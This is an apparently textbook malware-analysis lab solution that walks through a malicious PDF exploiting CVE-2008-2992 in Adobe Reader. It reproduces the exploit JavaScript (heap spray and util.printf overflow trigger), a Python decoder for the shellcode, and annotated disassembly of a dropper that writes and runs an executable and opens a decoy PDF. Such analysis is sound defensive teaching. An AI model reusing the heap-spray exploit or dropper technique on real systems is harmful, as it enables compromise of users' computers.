The PDF contains an example of CVE-2008-2992: buffer overflow related to Adobe Reader’s util.printf JavaScript implementation.
The shellcode is encoded using JavaScript’s percent-encoding and is stored along with the JavaScript in the PDF.
The shellcode manually imports the following functions:
|
|
The shellcode creates the files %TEMP%\foo.exe and %TEMP%\bar.pdf.
The shellcode extracts two files stored encoded within the malicious PDF and writes them to the user’s %TEMP% directory. It executes the foo.exe file and opens the bar.pdf document with the default handler.
The PDF format mixes text and binary, so simply looking at a PDF with the strings command or in a hex or text editor can provide some rudimentary
information about the contents. However, this is trivially easy for attackers to obfuscate. PDF
allows objects to be zlib-compressed. You will see /Filter
/FlateDecode as an option in the object dictionary. In these cases, you’ll need to
rely on other techniques to extract this data. (See Appendix B for
recommended malicious PDF parsers.)
Example C-198 shows object 9 0 from this PDF. This object contains JavaScript that will be executed when the document is opened.
Example C-198. PDF JavaScript object
9 0 obj
<<
/Length 3486
>>
stream
var payload = unescape("%ue589%uec81 .... %u9090"); ❶
var version = app.viewerVersion;
app.alert("Running PDF JavaScript!");
if (version >= 8 && version < 9) { ❹
var payload;
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
heapblock = nop + payload;
bigblock = unescape("%u0A0A%u0A0A");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length<spray) {
bigblock+=bigblock;
}
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) { ❷
block = block+block+fillblock;
}
mem = new Array();
for (i=0;i<1400;i++) {
mem[i] = block + heapblock;
}
var num = 12999999999999999999888888888888...;
util.printf("%45000f",num); ❸
} else {
app.alert("Unknown PDF version!");
}
endstream
endobjThe JavaScript examines the application version at ❹ to determine whether it should attempt the exploit. Having the ability to run active content like this to profile the system is very powerful for attackers because it allows them to profile a system and to choose the exploit most likely to succeed.
The script then performs a heap spray at ❷,
followed by the call to util.printf at ❸, which will trigger the exploit. This line should look
suspicious due to the very large number that is being printed. In fact, an Internet search reveals a
fairly old vulnerability: CVE-2008-2992, where improper bounds checking allows an overflow to occur
in Adobe Reader 8.1.2 and earlier.
A heap spray involves making many copies of the shellcode over large areas of the process heap, along with large NOP sleds. The attackers then exploit a vulnerability and overwrite a function pointer or return address with a value that points somewhere into the memory heap. The attackers select a value that points into the known process heap memory segment. The likelihood that the selected value points to a NOP sled leading into a valid copy of the shellcode is high enough to make this a reliable way of gaining execution. Heap sprays are popular in situations where the attacker can execute some code on the targeted system prior to launching the exploit, such as this case with JavaScript in the PDF.
The payload variable is initialized in Example C-198 at ❶ using the unescape function
with a long text string. The unescape function works by
translating each % character as follows:
If the % is followed by a u, it takes the next four characters, treats them as ASCII hex, and translates this into
2 bytes. The output order will be byte-swapped due to its endianness.
If the % is not followed by a u, it takes the next two characters, treats them as ASCII hex, and translates this into 1
byte.
For example, the string begins with %ue589%uec81%u017c and will be transformed into the hex sequence 0x89 0xe5 0x81 0xec 0x7c 0x01. You can use the Python script in Example C-199 to manually unescape the shellcode payload and
turn it into a binary file suitable for further analysis, or you can use the file
Lab19-03_sc.bin, which contains the decoded contents provided with the
labs.
Example C-199. Python unescape() equivalent script
def decU16(inbuff):
"""
Manually perform JavaScript's unescape() function.
"""
i = 0
outArr = [ ]
while i < len(inbuff):
if inbuff[i] == '"':
i += 1
elif inbuff[i] == '%':
if ((i+6) <= len(inbuff)) and (inbuff[i+1] == 'u'):
#it's a 2-byte "unicode" value
currchar = int(inbuff[i+2:i+4], 16)
nextchar = int(inbuff[i+4:i+6], 16)
#switch order for little-endian
outArr.append(chr(nextchar))
outArr.append(chr(currchar))
i += 6
elif (i+3) <= len(inbuff):
#it's just a single byte
currchar = int(inbuff[i+1:i+3], 16)
outArr.append(chr(currchar))
i += 3
else:
# nothing to change
outArr.append(inbuff[i])
i += 1
return ''.join(outArr)
payload = "%ue589%uec81 ... %u9008%u9090"
outFile = file('Lab19-03_sc.bin', 'wb')
outFile.write(decU16(payload))
outFile.close()You can dynamically analyze the shellcode using the following command:
shellcode_launcher.exe –i Lab19-03_sc.bin –r Lab19-03.pdf –bp
The –r option causes the program to open the
specified file for reading prior to jumping to the shellcode, and it is required here because this
piece of shellcode expects that there is an open file handle to the malicious media file.
The beginning of the shellcode in Example C-200 uses the
call/pop technique to obtain a
pointer to the global data starting at ❶.
Example C-200. Shellcode global data
00000000 mov ebp, esp
00000002 sub esp, 17Ch
00000008 call sub_17B
0000000D dd 0EC0E4E8Eh ❶ ; kernel32.dll:LoadLibraryA
00000011 dd 16B3FE72h ; kernel32.dll:CreateProcessA
00000015 dd 78B5B983h ; kernel32.dll:TerminateProcess
00000019 dd 7B8F17E6h ; kernel32.dll:GetCurrentProcess
0000001D dd 5B8ACA33h ; kernel32.dll:GetTempPathA
00000021 dd 0BFC7034Fh ; kernel32.dll:SetCurrentDirectoryA
00000025 dd 7C0017A5h ; kernel32.dll:CreateFileA
00000029 dd 0DF7D9BADh ; kernel32.dll:GetFileSize
0000002D dd 76DA08ACh ; kernel32.dll:SetFilePointer
00000031 dd 10FA6516h ; kernel32.dll:ReadFile
00000035 dd 0E80A791Fh ; kernel32.dll:WriteFile
00000039 dd 0FFD97FBh ; kernel32.dll:CloseHandle
0000003D dd 0C0397ECh ; kernel32.dll:GlobalAlloc
00000041 dd 7CB922F6h ; kernel32.dll:GlobalFree
00000045 dd 1BE1BB5Eh ; shell32.dll:ShellExecuteA
00000049 dd 0C602h ; PDF file size
0000004D dd 106Fh ; File #1 offset
00000051 dd 0A000h ; File #1 size
00000055 dd 0B06Fh ; File #2 offset
00000059 dd 144Eh ; File #2 sizeThe shellcode in Example C-201 uses the same findKernel32Base and findSymbolByHash
functions defined in Chapter 19 and in Lab 19-1 Solutions. As in Lab 19-2 Solutions, the shellcode loops over the symbol hashes, resolves
them, and stores them back to create a function pointer array. This is done 14 times for
kernel32 at ❶. The shellcode then
creates the string shell32 on the stack by pushing two DWORD values at ❷ to use as an
argument to LoadLibraryA. A single export from
shell32.dll is resolved and added to the function pointer array at ❸.
Example C-201. Hash array processing
0000017B pop esi 0000017C mov [ebp-14h], esi 0000017F mov edi, esi 00000181 mov ebx, esi 00000183 call findKernel32Base 00000188 mov [ebp-4], eax 0000018B mov ecx, 0Eh ❶ 00000190 loc_190: 00000190 lodsd 00000191 push eax 00000192 push dword ptr [ebp-4] 00000195 call findSymbolByHash 0000019A stosd 0000019B loop loc_190 0000019D push 32336Ch ; l32\x00 ❷ 000001A2 push 6C656873h ; shel 000001A7 mov eax, esp 000001A9 push eax 000001AA call dword ptr [ebx] ; LoadLibraryA 000001AC xchg eax, ecx 000001AD lodsd 000001AE push eax 000001AF push ecx 000001B0 call findSymbolByHash 000001B5 stosd ❸
The shellcode in Example C-202 then calls the GetFileSize function in a loop. Given an open handle, this function
returns the file size the handle corresponds to. It initializes the handle value to 0 at ❶ and adds 4 to it on each iteration at ❷. The result is compared against the value stored at offset 0x3c
in the shellcode’s embedded data. This value is 0xC602, and
it is the exact size of the malicious PDF. This is how the shellcode will find the existing open
handle to the PDF document that Adobe Reader had opened prior to the exploit launching. (It is
common to store encoded data in malicious media files because media files can be fairly large
without raising suspicions.) The malware requires an open handle to the malicious media file to work
as expected, which is why the –r flag to
shellcode_launcher.exe must be provided for this sample to perform any
work.
Example C-202. PDF handle search
000001B6 xor esi, esi ❶ 000001B8 mov ebx, [ebp-14h] 000001BB loc_1BB: 000001BB add esi, 4 ❷ 000001C1 lea eax, [ebp-8] 000001C4 push eax 000001C5 push esi 000001C6 call dword ptr [ebx+1Ch] ; GetFileSize 000001C9 cmp eax, [ebx+3Ch] ; PDF file size 000001CC jnz short loc_1BB 000001CE mov [ebp-8], esi
One variant of the technique of finding the open handle of the malicious media file involves checking that the file size meets some minimum value, at which point the shellcode will search the file for specific markers that confirm that it is the correct handle. This variant saves the writers from storing the exact size of the output file within the shellcode.
The shellcode in Example C-203 allocates a buffer of memory at ❶ based on the value stored at offset 0x44 in the embedded data. This stored value is the file size for the first file accessed in the malicious PDF.
Example C-203. Reading the first embedded file
000001D1 xor edx, edx 000001D3 push dword ptr [ebx+44h] ❶ 000001D6 push edx 000001D7 call [ebx+sc0.GlobalAlloc] 000001DA test eax, eax 000001DC jz loc_313 000001E2 mov [ebp-0Ch], eax 000001E5 xor edx, edx 000001E7 push edx 000001E8 push edx 000001E9 push dword ptr [ebx+40h] ; File 1 offset E08 000001EC push dword ptr [ebp-8] ; PDF File Handle 000001EF call dword ptr [ebx+20h] ; SetFilePointer 000001F2 push dword ptr [ebx+44h] ; File 1 Size 000001F5 push dword ptr [ebp-0Ch] ; memory buffer 000001F8 push dword ptr [ebp-8] ; PDF File Handle 000001FB push dword ptr [ebx+24h] ; ReadFile 000001FE call fileIoWrapper ❷
The code calls SetFilePointer to adjust the location
in the malicious PDF so that it will be based on the value stored at 0x40 in the embedded data, the
file offset for the first file to be extracted from the malicious PDF. The shellcode calls a helper
function that we’ve named fileIoWrapper at ❷ to read the file contents. Analysis of the function shows that
it has the following function prototype:
__stdcall DWORD fileIoWrapper(void* ioFuncPtr, DWORD hFile, char* buffPtr,DWORD bytesToXfer);
The first argument to fileIoWrapper is a function pointer
to either ReadFile or WriteFile. The shellcode calls the given function pointer in a loop, transferring the
entire buffer to or from the given file handle.
Next, the shellcode in Example C-204 constructs
an output file path, calls GetTempPathA at ❶, and then appends the string foo.exe.
Example C-204. First filename creation for the first output file
00000203 xor eax, eax
00000205 lea edi, [ebp-124h] ; file path buffer
0000020B mov ecx, 40h
00000210 rep stosd
00000212 lea edi, [ebp-124h] ; file path buffer
00000218 push edi
00000219 push 100h
0000021E call dword ptr [ebx+10h] ; GetTempPathA ❶
00000221 xor eax, eax
00000223 lea edi, [ebp-124h] ; file path buffer
00000229 repne scasb
0000022B dec edi
0000022C mov [ebp-1Ch], edi
0000022F mov dword ptr [edi], 2E6F6F66h ; "foo." E11
00000235 mov dword ptr [edi+4], 657865h ; "exe\x00"This extracted file is written to disk using the helper function we’ve named writeBufferToDisk. Analysis shows that this has the following function
prototype:
__stdcall void writeBufferToDisk(DWORD* globalStructPtr, char* buffPtr, DWORD btesToWrite, DWORD maskVal, char* namePtr);
This function will XOR each byte in the input buffer with the value provided in maskVal, and then write the decoded buffer to the filename given by
namePtr. The call to writeBufferToDisk at ❶ in Example C-205 will use an XOR mask of 0x4a and write the file
to %TEMP%\foo.exe. This filename is passed to the call to CreateProcessA at ❷, creating
a new process from the file just written to disk.
Example C-205. Decoding, writing, and launching the first file
0000023C mov ebx, [ebp-14h] 0000023F lea eax, [ebp-124h] 00000245 push eax ; output name 00000246 push 4Ah ; ; xor mask 0000024B push dword ptr [ebx+44h] ; File 1 Size 0000024E push dword ptr [ebp-0Ch] ; buffer ptr 00000251 push ebx ; globalsPtr 00000252 call writeBufferToDisk ❶ 00000257 xor eax, eax 00000259 lea edi, [ebp-178h] 0000025F mov ecx, 15h 00000264 rep stosd 00000266 lea edx, [ebp-178h] ; lpProcessInformation 0000026C push edx 0000026D lea edx, [ebp-168h] ; lpStartupInfo 00000273 push edx 00000274 push eax 00000275 push eax 00000276 push eax 00000277 push 0FFFFFFFFh 0000027C push eax 0000027D push eax 0000027E push eax 0000027F lea eax, [ebp-124h] ❷ 00000285 push eax 00000286 call dword ptr [ebx+4] ; CreateProcessA 00000289 push dword ptr [ebp-0Ch] 0000028C call dword ptr [ebx+34h] ; GlobalFree
The shellcode repeats the same procedure in Example C-206 for a second file stored encoded within the malicious PDF. It allocates space according to the file size stored at offset 0x4c within the embedded data at ❶, and adjusts the file pointer location using the file offset stored at offset 0x48 at ❷.
Example C-206. Allocating space for the second file
0000028F xor edx, edx 00000291 mov ebx, [ebp-14h] 00000294 push dword ptr [ebx+4Ch] ; File 2 Size ❶ 00000297 push edx 00000298 call dword ptr [ebx+30h] ; GlobalAlloc 0000029B test eax, eax 0000029D jz short loc_313 0000029F mov [ebp-10h], eax 000002A2 xor edx, edx 000002A4 push edx 000002A5 push edx 000002A6 push dword ptr [ebx+48h] ; File 2 Offset ❷ 000002A9 push dword ptr [ebp-8] ; PDF File Handle 000002AC call dword ptr [ebx+20h] ; SetFilePointer
The shellcode in Example C-207 uses the same
temporary file path as in the first file, but replaces the filename with
bar.pdf at ❶. The call to writeBufferToDisk at ❷ decodes
the file contents using the mask value 0x4a, and writes it to
%TEMP%\bar.pdf.
Example C-207. Reading, decoding, and writing the second embedded file
000002AF push dword ptr [ebx+4Ch] ; File 2 Size 000002B2 push dword ptr [ebp-10h] ; memory buffer 000002B5 push dword ptr [ebp-8] ; PDF File Handle 000002B8 push dword ptr [ebx+24h] ; ReadFile 000002BB call fileIoWrapper 000002C0 mov eax, [ebp-1Ch] ; end of Temp Path buffer 000002C3 mov dword ptr [eax], 2E726162h ; bar. ❶ 000002C9 mov dword ptr [eax+4], 666470h ; pdf\x00 000002D0 lea eax, [ebp-124h] 000002D6 push eax ; output name 000002D7 push 4Ah ; ; xor mask 000002D9 mov ebx, [ebp-14h] 000002DC push dword ptr [ebx+4Ch] ; File 2 Size 000002DF push dword ptr [ebp-10h] ; buffer ptr 000002E2 push ebx ; globals ptr 000002E3 call writeBufferToDisk ❷
Finally, the shellcode in Example C-208 opens the PDF
file it just wrote to %TEMP%\bar.pdf using the call to ShellExecuteA at ❶. It passes in the command
string "open" at ❷
and the path to the PDF at ❸, which causes the system to
open the specified file with the application registered to handle it.
Example C-208. Opening the second file and exiting
000002E8 xor ecx, ecx 000002EA lea eax, [ebp-168h] ; scratch space, for ShellExecute lpOperation verb 000002F0 mov dword ptr [eax], 6E65706Fh ; "open" ❷ 000002F6 mov byte ptr [eax+4], 0 000002FA push 5 ; SW_SHOWNORMAL | SW_SHOWNOACTIVATE 000002FF push ecx 00000300 push ecx 00000301 lea eax, [ebp-124h] ; output PDF filename ❸ 00000307 push eax 00000308 lea eax, [ebp-168h] ; ptr to "open" 0000030E push eax 0000030F push ecx 00000310 call dword ptr [ebx+38h] ; ShellExecuteA ❶ 00000313 loc_313: 00000313 call dword ptr [ebx+0Ch] ; GetCurrentProcess 00000316 push 0 0000031B push eax 0000031C call dword ptr [ebx+8] ; TerminateProcess
It is common for malicious media files to contain legitimate files that are extracted and opened by the shellcode in an attempt to avoid raising suspicion. The expectation is that users will simply think that any delay is due to a slow computer, when actually the exploit has just launched a new process, and then opened a real file to cover its tracks.